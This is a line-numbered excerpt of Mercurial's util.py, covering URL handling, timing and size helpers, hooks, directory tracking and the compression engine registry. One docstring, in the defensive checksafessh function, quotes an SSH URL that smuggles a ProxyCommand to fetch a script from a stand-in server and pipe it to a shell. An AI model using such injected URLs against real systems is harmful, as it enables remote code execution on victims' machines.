3372 | and not hasdriveletter(path)): |
|
|||
3373 | path = '/' + path |
|
|||
3374 | return path |
|
|||
3375 | return self._origpath |
|
|||
3376 |
|
||||
3377 | def islocal(self): |
|
|||
3378 | '''whether localpath will return something that posixfile can open''' |
|
|||
3379 | return (not self.scheme or self.scheme == 'file' |
|
|||
3380 | or self.scheme == 'bundle') |
|
|||
3381 |
|
||||
3382 | def hasscheme(path): |
|
|||
3383 | return bool(url(path).scheme) |
|
|||
3384 |
|
||||
3385 | def hasdriveletter(path): |
|
|||
3386 | return path and path[1:2] == ':' and path[0:1].isalpha() |
|
|||
3387 |
|
||||
3388 | def urllocalpath(path): |
|
|||
3389 | return url(path, parsequery=False, parsefragment=False).localpath() |
|
|||
3390 |
|
||||
3391 | def checksafessh(path): |
|
|||
3392 | """check if a path / url is a potentially unsafe ssh exploit (SEC) |
|
|||
3393 |
|
||||
3394 | This is a sanity check for ssh urls. ssh will parse the first item as |
|
|||
3395 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
|
|||
3396 | Let's prevent these potentially exploited urls entirely and warn the |
|
|||
3397 | user. |
|
|||
3398 |
|
||||
3399 | Raises an error.Abort when the url is unsafe. |
|
|||
3400 | """ |
|
|||
3401 | path = urlreq.unquote(path) |
|
|||
3402 | if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): |
|
|||
3403 | raise error.Abort(_('potentially unsafe url: %r') % |
|
|||
3404 | (pycompat.bytestr(path),)) |
|
|||
3405 |
|
||||
3406 | def hidepassword(u): |
|
|||
3407 | '''hide user credential in a url string''' |
|
|||
3408 | u = url(u) |
|
|||
3409 | if u.passwd: |
|
|||
3410 | u.passwd = '***' |
|
|||
3411 | return bytes(u) |
|
|||
3412 |
|
||||
3413 | def removeauth(u): |
|
|||
3414 | '''remove all authentication information from a url string''' |
|
|||
3415 | u = url(u) |
|
|||
3416 | u.user = u.passwd = None |
|
|||
3417 | return str(u) |
|
|||
3418 |
|
||||
3419 | timecount = unitcountfn( |
|
|||
3420 | (1, 1e3, _('%.0f s')), |
|
|||
3421 | (100, 1, _('%.1f s')), |
|
|||
3422 | (10, 1, _('%.2f s')), |
|
|||
3423 | (1, 1, _('%.3f s')), |
|
|||
3424 | (100, 0.001, _('%.1f ms')), |
|
|||
3425 | (10, 0.001, _('%.2f ms')), |
|
|||
3426 | (1, 0.001, _('%.3f ms')), |
|
|||
3427 | (100, 0.000001, _('%.1f us')), |
|
|||
3428 | (10, 0.000001, _('%.2f us')), |
|
|||
3429 | (1, 0.000001, _('%.3f us')), |
|
|||
3430 | (100, 0.000000001, _('%.1f ns')), |
|
|||
3431 | (10, 0.000000001, _('%.2f ns')), |
|
|||
3432 | (1, 0.000000001, _('%.3f ns')), |
|
|||
3433 | ) |
|
|||
3434 |
|
||||
3435 | _timenesting = [0] |
|
|||
3436 |
|
||||
3437 | def timed(func): |
|
|||
3438 | '''Report the execution time of a function call to stderr. |
|
|||
3439 |
|
||||
3440 | During development, use as a decorator when you need to measure |
|
|||
3441 | the cost of a function, e.g. as follows: |
|
|||
3442 |
|
||||
3443 | @util.timed |
|
|||
3444 | def foo(a, b, c): |
|
|||
3445 | pass |
|
|||
3446 | ''' |
|
|||
3447 |
|
||||
3448 | def wrapper(*args, **kwargs): |
|
|||
3449 | start = timer() |
|
|||
3450 | indent = 2 |
|
|||
3451 | _timenesting[0] += indent |
|
|||
3452 | try: |
|
|||
3453 | return func(*args, **kwargs) |
|
|||
3454 | finally: |
|
|||
3455 | elapsed = timer() - start |
|
|||
3456 | _timenesting[0] -= indent |
|
|||
3457 | stderr.write('%s%s: %s\n' % |
|
|||
3458 | (' ' * _timenesting[0], func.__name__, |
|
|||
3459 | timecount(elapsed))) |
|
|||
3460 | return wrapper |
|
|||
3461 |
|
||||
3462 | _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30), |
|
|||
3463 | ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1)) |
|
|||
3464 |
|
||||
3465 | def sizetoint(s): |
|
|||
3466 | '''Convert a space specifier to a byte count. |
|
|||
3467 |
|
||||
3468 | >>> sizetoint(b'30') |
|
|||
3469 | 30 |
|
|||
3470 | >>> sizetoint(b'2.2kb') |
|
|||
3471 | 2252 |
|
|||
3472 | >>> sizetoint(b'6M') |
|
|||
3473 | 6291456 |
|
|||
3474 | ''' |
|
|||
3475 | t = s.strip().lower() |
|
|||
3476 | try: |
|
|||
3477 | for k, u in _sizeunits: |
|
|||
3478 | if t.endswith(k): |
|
|||
3479 | return int(float(t[:-len(k)]) * u) |
|
|||
3480 | return int(t) |
|
|||
3481 | except ValueError: |
|
|||
3482 | raise error.ParseError(_("couldn't parse size: %s") % s) |
|
|||
3483 |
|
||||
3484 | class hooks(object): |
|
|||
3485 | '''A collection of hook functions that can be used to extend a |
|
|||
3486 | function's behavior. Hooks are called in lexicographic order, |
|
|||
3487 | based on the names of their sources.''' |
|
|||
3488 |
|
||||
3489 | def __init__(self): |
|
|||
3490 | self._hooks = [] |
|
|||
3491 |
|
||||
3492 | def add(self, source, hook): |
|
|||
3493 | self._hooks.append((source, hook)) |
|
|||
3494 |
|
||||
3495 | def __call__(self, *args): |
|
|||
3496 | self._hooks.sort(key=lambda x: x[0]) |
|
|||
3497 | results = [] |
|
|||
3498 | for source, hook in self._hooks: |
|
|||
3499 | results.append(hook(*args)) |
|
|||
3500 | return results |
|
|||
3501 |
|
||||
3502 | def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0): |
|
|||
3503 | '''Yields lines for a nicely formatted stacktrace. |
|
|||
3504 | Skips the 'skip' last entries, then return the last 'depth' entries. |
|
|||
3505 | Each file+linenumber is formatted according to fileline. |
|
|||
3506 | Each line is formatted according to line. |
|
|||
3507 | If line is None, it yields: |
|
|||
3508 | length of longest filepath+line number, |
|
|||
3509 | filepath+linenumber, |
|
|||
3510 | function |
|
|||
3511 |
|
||||
3512 | Not be used in production code but very convenient while developing. |
|
|||
3513 | ''' |
|
|||
3514 | entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) |
|
|||
3515 | for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1] |
|
|||
3516 | ][-depth:] |
|
|||
3517 | if entries: |
|
|||
3518 | fnmax = max(len(entry[0]) for entry in entries) |
|
|||
3519 | for fnln, func in entries: |
|
|||
3520 | if line is None: |
|
|||
3521 | yield (fnmax, fnln, func) |
|
|||
3522 | else: |
|
|||
3523 | yield line % (fnmax, fnln, func) |
|
|||
3524 |
|
||||
3525 | def debugstacktrace(msg='stacktrace', skip=0, |
|
|||
3526 | f=stderr, otherf=stdout, depth=0): |
|
|||
3527 | '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
|
|||
3528 | Skips the 'skip' entries closest to the call, then show 'depth' entries. |
|
|||
3529 | By default it will flush stdout first. |
|
|||
3530 | It can be used everywhere and intentionally does not require an ui object. |
|
|||
3531 | Not be used in production code but very convenient while developing. |
|
|||
3532 | ''' |
|
|||
3533 | if otherf: |
|
|||
3534 | otherf.flush() |
|
|||
3535 | f.write('%s at:\n' % msg.rstrip()) |
|
|||
3536 | for line in getstackframes(skip + 1, depth=depth): |
|
|||
3537 | f.write(line) |
|
|||
3538 | f.flush() |
|
|||
3539 |
|
||||
3540 | class dirs(object): |
|
|||
3541 | '''a multiset of directory names from a dirstate or manifest''' |
|
|||
3542 |
|
||||
3543 | def __init__(self, map, skip=None): |
|
|||
3544 | self._dirs = {} |
|
|||
3545 | addpath = self.addpath |
|
|||
3546 | if safehasattr(map, 'iteritems') and skip is not None: |
|
|||
3547 | for f, s in map.iteritems(): |
|
|||
3548 | if s[0] != skip: |
|
|||
3549 | addpath(f) |
|
|||
3550 | else: |
|
|||
3551 | for f in map: |
|
|||
3552 | addpath(f) |
|
|||
3553 |
|
||||
3554 | def addpath(self, path): |
|
|||
3555 | dirs = self._dirs |
|
|||
3556 | for base in finddirs(path): |
|
|||
3557 | if base in dirs: |
|
|||
3558 | dirs[base] += 1 |
|
|||
3559 | return |
|
|||
3560 | dirs[base] = 1 |
|
|||
3561 |
|
||||
3562 | def delpath(self, path): |
|
|||
3563 | dirs = self._dirs |
|
|||
3564 | for base in finddirs(path): |
|
|||
3565 | if dirs[base] > 1: |
|
|||
3566 | dirs[base] -= 1 |
|
|||
3567 | return |
|
|||
3568 | del dirs[base] |
|
|||
3569 |
|
||||
3570 | def __iter__(self): |
|
|||
3571 | return iter(self._dirs) |
|
|||
3572 |
|
||||
3573 | def __contains__(self, d): |
|
|||
3574 | return d in self._dirs |
|
|||
3575 |
|
||||
3576 | if safehasattr(parsers, 'dirs'): |
|
|||
3577 | dirs = parsers.dirs |
|
|||
3578 |
|
||||
3579 | def finddirs(path): |
|
|||
3580 | pos = path.rfind('/') |
|
|||
3581 | while pos != -1: |
|
|||
3582 | yield path[:pos] |
|
|||
3583 | pos = path.rfind('/', 0, pos) |
|
|||
3584 |
|
||||
3585 | # compression code |
|
|||
3586 |
|
||||
3587 | SERVERROLE = 'server' |
|
|||
3588 | CLIENTROLE = 'client' |
|
|||
3589 |
|
||||
3590 | compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport', |
|
|||
3591 | (u'name', u'serverpriority', |
|
|||
3592 | u'clientpriority')) |
|
|||
3593 |
|
||||
3594 | class compressormanager(object): |
|
|||
3595 | """Holds registrations of various compression engines. |
|
|||
3596 |
|
||||
3597 | This class essentially abstracts the differences between compression |
|
|||
3598 | engines to allow new compression formats to be added easily, possibly from |
|
|||
3599 | extensions. |
|
|||
3600 |
|
||||
3601 | Compressors are registered against the global instance by calling its |
|
|||
3602 | ``register()`` method. |
|
|||
3603 | """ |
|
|||
3604 | def __init__(self): |
|
|||
3605 | self._engines = {} |
|
|||
3606 | # Bundle spec human name to engine name. |
|
|||
3607 | self._bundlenames = {} |
|
|||
3608 | # Internal bundle identifier to engine name. |
|
|||
3609 | self._bundletypes = {} |
|
|||
3610 | # Revlog header to engine name. |
|
|||
3611 | self._revlogheaders = {} |
|
|||
3612 | # Wire proto identifier to engine name. |
|
|||
3613 | self._wiretypes = {} |
|
|||
3614 |
|
||||
3615 | def __getitem__(self, key): |
|
|||
3616 | return self._engines[key] |
|
|||
3617 |
|
||||
3618 | def __contains__(self, key): |
|
|||
3619 | return key in self._engines |
|
|||
3620 |
|
||||
3621 | def __iter__(self): |
|
|||
3622 | return iter(self._engines.keys()) |
|
|||
3623 |
|
||||
3624 | def register(self, engine): |
|
|||
3625 | """Register a compression engine with the manager. |
|
|||
3626 |
|
||||
3627 | The argument must be a ``compressionengine`` instance. |
|
|||
3628 | """ |
|
|||
3629 | if not isinstance(engine, compressionengine): |
|
|||
3630 | raise ValueError(_('argument must be a compressionengine')) |
|
|||
3631 |
|
||||
3632 | name = engine.name() |
|
|||
3633 |
|
||||
3634 | if name in self._engines: |
|
|||
3635 | raise error.Abort(_('compression engine %s already registered') % |
|
|||
3636 | name) |
|
|||
3637 |
|
||||
3638 | bundleinfo = engine.bundletype() |
|
|||
3639 | if bundleinfo: |
|
|||
3640 | bundlename, bundletype = bundleinfo |
|
|||
3641 |
|
||||
3642 | if bundlename in self._bundlenames: |
|
|||
3643 | raise error.Abort(_('bundle name %s already registered') % |
|
|||
3644 | bundlename) |
|
|||
3645 | if bundletype in self._bundletypes: |
|
|||
3646 | raise error.Abort(_('bundle type %s already registered by %s') % |
|
|||
3647 | (bundletype, self._bundletypes[bundletype])) |
|
|||
3648 |
|
||||
3649 | # No external facing name declared. |
|
|||
3650 | if bundlename: |
|
|||
3651 | self._bundlenames[bundlename] = name |
|
|||
3652 |
|
||||
3653 | self._bundletypes[bundletype] = name |
|
|||
3654 |
|
||||
3655 | wiresupport = engine.wireprotosupport() |
|
|||
3656 | if wiresupport: |
|
|||
3657 | wiretype = wiresupport.name |
|
|||
3658 | if wiretype in self._wiretypes: |
|
|||
3659 | raise error.Abort(_('wire protocol compression %s already ' |
|
|||
3660 | 'registered by %s') % |
|
|||
3661 | (wiretype, self._wiretypes[wiretype])) |
|
|||
3662 |
|
||||
3663 | self._wiretypes[wiretype] = name |
|
|||
3664 |
|
||||
3665 | revlogheader = engine.revlogheader() |
|
|||
3666 | if revlogheader and revlogheader in self._revlogheaders: |
|
|||
3667 | raise error.Abort(_('revlog header %s already registered by %s') % |
|
|||
3668 | (revlogheader, self._revlogheaders[revlogheader])) |
|
|||
3669 |
|
||||
3670 | if revlogheader: |
|
|||
3671 | self._revlogheaders[revlogheader] = name |
|
|||
3672 |
|
||||
3673 | self._engines[name] = engine |
|
|||
3674 |
|
||||
3675 | @property |
|
|||
3676 | def supportedbundlenames(self): |
|
|||
3677 | return set(self._bundlenames.keys()) |
|
|||
3678 |
|
||||
3679 | @property |
|
|||
3680 | def supportedbundletypes(self): |
|
|||
3681 | return set(self._bundletypes.keys()) |
|
|||
3682 |
|
||||
3683 | def forbundlename(self, bundlename): |
|
|||
3684 | """Obtain a compression engine registered to a bundle name. |
|
|||
3685 |
|
||||
3686 | Will raise KeyError if the bundle type isn't registered. |
|
|||
3687 |
|
||||
3688 | Will abort if the engine is known but not available. |
|
|||
3689 | """ |
|
|||
3690 | engine = self._engines[self._bundlenames[bundlename]] |
|
|||
3691 | if not engine.available(): |
|
|||
3692 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
|||
3693 | engine.name()) |
|
|||
3694 | return engine |
|
|||
3695 |
|
||||
3696 | def forbundletype(self, bundletype): |
|
|||
3697 | """Obtain a compression engine registered to a bundle type. |
|
|||
3698 |
|
||||
3699 | Will raise KeyError if the bundle type isn't registered. |
|
|||
3700 |
|
||||
3701 | Will abort if the engine is known but not available. |
|
|||
3702 | """ |
|
|||
3703 | engine = self._engines[self._bundletypes[bundletype]] |
|
|||
3704 | if not engine.available(): |
|
|||
3705 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
|||
3706 | engine.name()) |
|
|||
3707 | return engine |
|
|||
3708 |
|
||||
3709 | def supportedwireengines(self, role, onlyavailable=True): |
|
|||
3710 | """Obtain compression engines that support the wire protocol. |
|
|||
3711 |
|
||||
3712 | Returns a list of engines in prioritized order, most desired first. |
|
|||
3713 |
|
||||
3714 | If ``onlyavailable`` is set, filter out engines that can't be |
|
|||
3715 | loaded. |
|
|||
3716 | """ |
|
|||
3717 | assert role in (SERVERROLE, CLIENTROLE) |
|
|||
3718 |
|
||||
3719 | attr = 'serverpriority' if role == SERVERROLE else 'clientpriority' |
|
|||
3720 |
|
||||
3721 | engines = [self._engines[e] for e in self._wiretypes.values()] |
|
|||
3722 | if onlyavailable: |
|
|||
3723 | engines = [e for e in engines if e.available()] |
|
|||
3724 |
|
||||
3725 | def getkey(e): |
|
|||
3726 | # Sort first by priority, highest first. In case of tie, sort |
|
|||
3727 | # alphabetically. This is arbitrary, but ensures output is |
|
|||
3728 | # stable. |
|
|||
3729 | w = e.wireprotosupport() |
|
|||
3730 | return -1 * getattr(w, attr), w.name |
|
|||
3731 |
|
||||
3732 | return list(sorted(engines, key=getkey)) |
|
|||
3733 |
|
||||
3734 | def forwiretype(self, wiretype): |
|
|||
3735 | engine = self._engines[self._wiretypes[wiretype]] |
|
|||
3736 | if not engine.available(): |
|
|||
3737 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
|||
3738 | engine.name()) |
|
|||
3739 | return engine |
|
|||
3740 |
|
||||
3741 | def forrevlogheader(self, header): |
|
|||
3742 | """Obtain a compression engine registered to a revlog header. |
|
|||
3743 |
|
||||
3744 | Will raise KeyError if the revlog header value isn't registered. |
|
|||
3745 | """ |
|
|||
3746 | return self._engines[self._revlogheaders[header]] |
|
|||
3747 |
|
||||
3748 | compengines = compressormanager() |
|
|||
3749 |
|
||||
3750 | class compressionengine(object): |
|
|||
3751 | """Base class for compression engines. |
|
|||
3752 |
|
||||
3753 | Compression engines must implement the interface defined by this class. |
|
|||
3754 | """ |
|
|||
3755 | def name(self): |
|
|||
3756 | """Returns the name of the compression engine. |
|
|||
3757 |
|
||||
3758 | This is the key the engine is registered under. |
|
|||
3759 |
|
||||
3760 | This method must be implemented. |
|
|||
3761 | """ |
|
|||
3762 | raise NotImplementedError() |
|
|||
3763 |
|
||||
3764 | def available(self): |
|
|||
3765 | """Whether the compression engine is available. |
|
|||
3766 |
|
||||
3767 | The intent of this method is to allow optional compression engines |
|
|||
3768 | that may not be available in all installations (such as engines relying |
|
|||
3769 | on C extensions that may not be present). |
|
|||
3770 | """ |
|
|||
3771 | return True |
|
|||
3772 |
|
||||
3773 | def bundletype(self): |
|
|||
3774 | """Describes bundle identifiers for this engine. |
|
|||
3775 |
|
||||
3776 | If this compression engine isn't supported for bundles, returns None. |
|
|||
3777 |
|
||||
3778 | If this engine can be used for bundles, returns a 2-tuple of strings of |
|
|||
3779 | the user-facing "bundle spec" compression name and an internal |
|
|||
3780 | identifier used to denote the compression format within bundles. To |
|
|||
3781 | exclude the name from external usage, set the first element to ``None``. |
|
|||
3782 |
|
||||
3783 | If bundle compression is supported, the class must also implement |
|
|||
3784 | ``compressstream`` and `decompressorreader``. |
|
|||
3785 |
|
||||
3786 | The docstring of this method is used in the help system to tell users |
|
|||
3787 | about this engine. |
|
|||
3788 | """ |
|
|||
3789 | return None |
|
|||
3790 |
|
||||
3791 | def wireprotosupport(self): |
|
|||
3792 | """Declare support for this compression format on the wire protocol. |
|
|||
3793 |
|
||||
3794 | If this compression engine isn't supported for compressing wire |
|
|||
3795 | protocol payloads, returns None. |
|
|||
3796 |
|
||||
3797 | Otherwise, returns ``compenginewireprotosupport`` with the following |
|
|||
3798 | fields: |
|
|||
3799 |
|
||||
3800 | * String format identifier |
|
|||
3801 | * Integer priority for the server |
|
|||
3802 | * Integer priority for the client |
|
|||
3803 |
|
||||
3804 | The integer priorities are used to order the advertisement of format |
|
|||
3805 | support by server and client. The highest integer is advertised |
|
|||
3806 | first. Integers with non-positive values aren't advertised. |
|
|||
3807 |
|
||||
3808 | The priority values are somewhat arbitrary and only used for default |
|
|||
3809 | ordering. The relative order can be changed via config options. |
|
|||
3810 |
|
||||
3811 | If wire protocol compression is supported, the class must also implement |
|
|||
3812 | ``compressstream`` and ``decompressorreader``. |
|
|||
3813 | """ |
|
|||
3814 | return None |
|
|||
3815 |
|
||||
3816 | def revlogheader(self): |
|
|||
3817 | """Header added to revlog chunks that identifies this engine. |
|
|||
3818 |
|
||||
3819 | If this engine can be used to compress revlogs, this method should |
|
|||
3820 | return the bytes used to identify chunks compressed with this engine. |
|
|||
3821 | Else, the method should return ``None`` to indicate it does not |
|
|||
3822 | participate in revlog compression. |
|
|||
3823 | """ |
|
|||
3824 | return None |
|
|||
3825 |
|
||||
3826 | def compressstream(self, it, opts=None): |
|
|||
3827 | """Compress an iterator of chunks. |
|
|||
3828 |
|
||||
3829 | The method receives an iterator (ideally a generator) of chunks of |
|
|||
3830 | bytes to be compressed. It returns an iterator (ideally a generator) |
|
|||
3831 | of bytes of chunks representing the compressed output. |
|
|||
3832 |
|
||||
3833 | Optionally accepts an argument defining how to perform compression. |
|
|||
3834 | Each engine treats this argument differently. |
|
|||
3835 | """ |
|
|||
3836 | raise NotImplementedError() |
|
|||
3837 |
|
||||
3838 | def decompressorreader(self, fh): |
|
|||
3839 | """Perform decompression on a file object. |
|
|||
3840 |
|
||||
3841 | Argument is an object with a ``read(size)`` method that returns |
|
|||
3842 | compressed data. Return value is an object with a ``read(size)`` that |
|
|||
3843 | returns uncompressed data. |
|
|||
3844 | """ |
|
|||
3845 | raise NotImplementedError() |
|
|||
3846 |
|
||||
3847 | def revlogcompressor(self, opts=None): |
|
|||
3848 | """Obtain an object that can be used to compress revlog entries. |
|
|||
3849 |
|
||||
3850 | The object has a ``compress(data)`` method that compresses binary |
|
|||
3851 | data. This method returns compressed binary data or ``None`` if |
|
|||
3852 | the data could not be compressed (too small, not compressible, etc). |
|
|||
3853 | The returned data should have a header uniquely identifying this |
|
|||
3854 | compression format so decompression can be routed to this engine. |
|
|||
3855 | This header should be identified by the ``revlogheader()`` return |
|
|||
3856 | value. |
|
|||
3857 |
|
||||
3858 | The object has a ``decompress(data)`` method that decompresses |
|
|||
3859 | data. The method will only be called if ``data`` begins with |
|
|||
3860 | ``revlogheader()``. The method should return the raw, uncompressed |
|
|||
3861 | data or raise a ``RevlogError``. |
|
|||
3862 |
|
||||
3863 | The object is reusable but is not thread safe. |
|
|||
3864 | """ |
|
|||
3865 | raise NotImplementedError() |
|
|||
3866 |
|
||||
3867 | class _zlibengine(compressionengine): |
|
|||
3868 | def name(self): |
|
|||
3869 | return 'zlib' |
|
|||
3870 |
|
||||
3871 | def bundletype(self): |
|
|||
3872 | """zlib compression using the DEFLATE algorithm. |
|
|||
3873 |
|
||||
3874 | All Mercurial clients should support this format. The compression |
|
|||
3875 | algorithm strikes a reasonable balance between compression ratio |
|
|||
3876 | and size. |
|
|||
3877 | """ |
|
|||
3878 | return 'gzip', 'GZ' |
|
|||
3879 |
|
||||
3880 | def wireprotosupport(self): |
|
|||
3881 | return compewireprotosupport('zlib', 20, 20) |
|
|||
3882 |
|
||||
3883 | def revlogheader(self): |
|
|||
3884 | return 'x' |
|
|||
3885 |
|
||||
3886 | def compressstream(self, it, opts=None): |
|
|||
3887 | opts = opts or {} |
|
|||
3888 |
|
||||
3889 | z = zlib.compressobj(opts.get('level', -1)) |
|
|||
3890 | for chunk in it: |
|
|||
3891 | data = z.compress(chunk) |
|
|||
3892 | # Not all calls to compress emit data. It is cheaper to inspect |
|
|||
3893 | # here than to feed empty chunks through generator. |
|
|||
3894 | if data: |
|
|||
3895 | yield data |
|
|||
3896 |
|
||||
3897 | yield z.flush() |
|
|||
3898 |
|
||||
3899 | def decompressorreader(self, fh): |
|
|||
3900 | def gen(): |
|
|||
3901 | d = zlib.decompressobj() |
|
|||
3902 | for chunk in filechunkiter(fh): |
|
|||
3903 | while chunk: |
|
|||
3904 | # Limit output size to limit memory. |
|
|||
3905 | yield d.decompress(chunk, 2 ** 18) |
|
|||
3906 | chunk = d.unconsumed_tail |
|
|||
3907 |
|
||||
3908 | return chunkbuffer(gen()) |
|
|||
3909 |
|
||||
3910 | class zlibrevlogcompressor(object): |
|
|||
3911 | def compress(self, data): |
|
|||
3912 | insize = len(data) |
|
|||
3913 | # Caller handles empty input case. |
|
|||
3914 | assert insize > 0 |
|
|||
3915 |
|
||||
3916 | if insize < 44: |
|
|||
3917 | return None |
|
|||
3918 |
|
||||
3919 | elif insize <= 1000000: |
|
|||
3920 | compressed = zlib.compress(data) |
|
|||
3921 | if len(compressed) < insize: |
|
|||
3922 | return compressed |
|
|||
3923 | return None |
|
|||
3924 |
|
||||
3925 | # zlib makes an internal copy of the input buffer, doubling |
|
|||
3926 | # memory usage for large inputs. So do streaming compression |
|
|||
3927 | # on large inputs. |
|
|||
3928 | else: |
|
|||
3929 | z = zlib.compressobj() |
|
|||
3930 | parts = [] |
|
|||
3931 | pos = 0 |
|
|||
3932 | while pos < insize: |
|
|||
3933 | pos2 = pos + 2**20 |
|
|||
3934 | parts.append(z.compress(data[pos:pos2])) |
|
|||
3935 | pos = pos2 |
|
|||
3936 | parts.append(z.flush()) |
|
|||
3937 |
|
||||
3938 | if sum(map(len, parts)) < insize: |
|
|||
3939 | return ''.join(parts) |
|
|||
3940 | return None |
|
|||
3941 |
|
||||
3942 | def decompress(self, data): |
|
|||
3943 | try: |
|
|||
3944 | return zlib.decompress(data) |
|
|||
3945 | except zlib.error as e: |
|
|||
3946 | raise error.RevlogError(_('revlog decompress error: %s') % |
|
|||
3947 | forcebytestr(e)) |
|
|||
3948 |
|
||||
3949 | def revlogcompressor(self, opts=None): |
|
|||
3950 | return self.zlibrevlogcompressor() |
|
|||
3951 |
|
||||
3952 | compengines.register(_zlibengine()) |
|
|||
3953 |
|
||||
3954 | class _bz2engine(compressionengine): |
|
|||
3955 | def name(self): |
|
|||
3956 | return 'bz2' |
|
|||
3957 |
|
||||
3958 | def bundletype(self): |
|
|||
3959 | """An algorithm that produces smaller bundles than ``gzip``. |
|
|||
3960 |
|
||||
3961 | All Mercurial clients should support this format. |
|
|||
3962 |
|
||||
3963 | This engine will likely produce smaller bundles than ``gzip`` but |
|
|||
3964 | will be significantly slower, both during compression and |
|
|||
3965 | decompression. |
|
|||
3966 |
|
||||
3967 | If available, the ``zstd`` engine can yield similar or better |
|
|||
3968 | compression at much higher speeds. |
|
|||
3969 | """ |
|
|||
3970 | return 'bzip2', 'BZ' |
|
|||
3971 |
|
||||
3972 | # We declare a protocol name but don't advertise by default because |
|
|||
3973 | # it is slow. |
|
|||
3974 | def wireprotosupport(self): |
|
|||
3975 | return compewireprotosupport('bzip2', 0, 0) |
|
|||
3976 |
|
||||
3977 | def compressstream(self, it, opts=None): |
|
|||
3978 | opts = opts or {} |
|
|||
3979 | z = bz2.BZ2Compressor(opts.get('level', 9)) |
|
|||
3980 | for chunk in it: |
|
|||
3981 | data = z.compress(chunk) |
|
|||
3982 | if data: |
|
|||
3983 | yield data |
|
|||
3984 |
|
||||
3985 | yield z.flush() |
|
|||
3986 |
|
||||
3987 | def decompressorreader(self, fh): |
|
|||
3988 | def gen(): |
|
|||
3989 | d = bz2.BZ2Decompressor() |
|
|||
3990 | for chunk in filechunkiter(fh): |
|
|||
3991 | yield d.decompress(chunk) |
|
|||
3992 |
|
||||
3993 | return chunkbuffer(gen()) |
|
|||
3994 |
|
||||
3995 | compengines.register(_bz2engine()) |
|
|||
3996 |
|
||||
3997 | class _truncatedbz2engine(compressionengine): |
|
|||
3998 | def name(self): |
|
|||
3999 | return 'bz2truncated' |
|
|||
4000 |
|
||||
4001 | def bundletype(self): |
|
|||
4002 | return None, '_truncatedBZ' |
|
|||
4003 |
|
||||
4004 | # We don't implement compressstream because it is hackily handled elsewhere. |
|
|||
4005 |
|
||||
4006 | def decompressorreader(self, fh): |
|
|||
4007 | def gen(): |
|
|||
4008 | # The input stream doesn't have the 'BZ' header. So add it back. |
|
|||
4009 | d = bz2.BZ2Decompressor() |
|
|||
4010 | d.decompress('BZ') |
|
|||
4011 | for chunk in filechunkiter(fh): |
|
|||
4012 | yield d.decompress(chunk) |
|
|||
4013 |
|
||||
4014 | return chunkbuffer(gen()) |
|
|||
4015 |
|
||||
4016 | compengines.register(_truncatedbz2engine()) |
|
|||
4017 |
|
||||
4018 | class _noopengine(compressionengine): |
|
|||
4019 | def name(self): |
|
|||
4020 | return 'none' |
|
|||
4021 |
|
||||
4022 | def bundletype(self): |
|
|||
4023 | """No compression is performed. |
|
|||
4024 |
|
||||
4025 | Use this compression engine to explicitly disable compression. |
|
|||
4026 | """ |
|
|||
4027 | return 'none', 'UN' |
|
|||
4028 |
|
||||
4029 | # Clients always support uncompressed payloads. Servers don't because |
|
|||
4030 | # unless you are on a fast network, uncompressed payloads can easily |
|
|||
4031 | # saturate your network pipe. |
|
|||
4032 | def wireprotosupport(self): |
|
|||
4033 | return compewireprotosupport('none', 0, 10) |
|
|||
4034 |
|
||||
4035 | # We don't implement revlogheader because it is handled specially |
|
|||
4036 | # in the revlog class. |
|
|||
4037 |
|
||||
4038 | def compressstream(self, it, opts=None): |
|
|||
4039 | return it |
|
|||
4040 |
|
||||
4041 | def decompressorreader(self, fh): |
|
|||
4042 | return fh |
|
|||
4043 |
|
||||
4044 | class nooprevlogcompressor(object): |
|
|||
4045 | def compress(self, data): |
|
|||
4046 | return None |
|
|||
4047 |
|
||||
4048 | def revlogcompressor(self, opts=None): |
|
|||
4049 | return self.nooprevlogcompressor() |
|
|||
4050 |
|
||||
4051 | compengines.register(_noopengine()) |
|
|||
4052 |
|
||||
4053 | class _zstdengine(compressionengine): |
|
|||
4054 | def name(self): |
|
|||
4055 | return 'zstd' |
|
|||
4056 |
|
||||
4057 | @propertycache |
|
|||
4058 | def _module(self): |
|
|||
4059 | # Not all installs have the zstd module available. So defer importing |
|
|||
4060 | # until first access. |
|
|||
4061 | try: |
|
|||
4062 | from . import zstd |
|
|||
4063 | # Force delayed import. |
|
|||
4064 | zstd.__version__ |
|
|||
4065 | return zstd |
|
|||
4066 | except ImportError: |
|
|||
4067 | return None |
|
|||
4068 |
|
||||
4069 | def available(self): |
|
|||
4070 | return bool(self._module) |
|
|||
4071 |
|
||||
4072 | def bundletype(self): |
|
|||
4073 | """A modern compression algorithm that is fast and highly flexible. |
|
|||
4074 |
|
||||
4075 | Only supported by Mercurial 4.1 and newer clients. |
|
|||
4076 |
|
||||
4077 | With the default settings, zstd compression is both faster and yields |
|
|||
4078 | better compression than ``gzip``. It also frequently yields better |
|
|||
4079 | compression than ``bzip2`` while operating at much higher speeds. |
|
|||
4080 |
|
||||
4081 | If this engine is available and backwards compatibility is not a |
|
|||
4082 | concern, it is likely the best available engine. |
|
|||
4083 | """ |
|
|||
4084 | return 'zstd', 'ZS' |
|
|||
4085 |
|
||||
4086 | def wireprotosupport(self): |
|
|||
4087 | return compewireprotosupport('zstd', 50, 50) |
|
|||
4088 |
|
||||
4089 | def revlogheader(self): |
|
|||
4090 | return '\x28' |
|
|||
4091 |
|
||||
4092 | def compressstream(self, it, opts=None): |
|
|||
4093 | opts = opts or {} |
|
|||
4094 | # zstd level 3 is almost always significantly faster than zlib |
|
|||
4095 | # while providing no worse compression. It strikes a good balance |
|
|||
4096 | # between speed and compression. |
|
|||
4097 | level = opts.get('level', 3) |
|
|||
4098 |
|
||||
4099 | zstd = self._module |
|
|||
4100 | z = zstd.ZstdCompressor(level=level).compressobj() |
|
|||
4101 | for chunk in it: |
|
|||
4102 | data = z.compress(chunk) |
|
|||
4103 | if data: |
|
|||
4104 | yield data |
|
|||
4105 |
|
||||
4106 | yield z.flush() |
|
|||
4107 |
|
||||
